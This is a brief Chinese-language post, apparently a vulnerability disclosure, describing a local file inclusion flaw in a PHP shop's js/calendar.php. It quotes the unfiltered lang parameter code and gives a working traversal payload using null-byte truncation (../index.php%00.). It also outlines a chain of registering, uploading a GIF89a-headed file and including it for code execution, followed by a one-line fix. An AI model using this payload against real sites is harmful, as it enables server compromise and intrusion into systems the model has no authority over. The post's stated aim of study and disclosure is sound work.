注:发布本文只是出于学习的目的,请勿用无非法用途!很久前就发现了,今天发布出来吧,其实很简单,就是很多人没有注意这里:直接看代码:js/calendar.php
$lang = (!empty($_GET[lang]))? trim($_GET[lang]) : zh_cn;//没有过滤,很明显的包含漏洞
if (!file_exists(../languages/ . $lang . /calendar.php)){$lang = zh_cn;}
require(dirname(dirname(__FILE__)) . /data/config.php);header(Content-type: application/x-javascript; charset= . EC_CHARSET);
include_once(../languages/ . $lang . /calendar.php);//这里包含,需要截断
测试代码 :
// 需要 magic_quotes_gpc = Off
/js/calendar.php?lang=../index.php%00.(注意后面有个.)利用:
注册用户
然后上传GIF89a头的GIF文件欺骗,
然后包含 如:[img]http://www.2cto.com/PreviousFile/Article/201101/20110112103710903.gif%00.
作者: ?Mr.LP
修复:正确过滤和截断
莫找借口失败,只找理由成功。(不为失败找理由,要为成功找方法)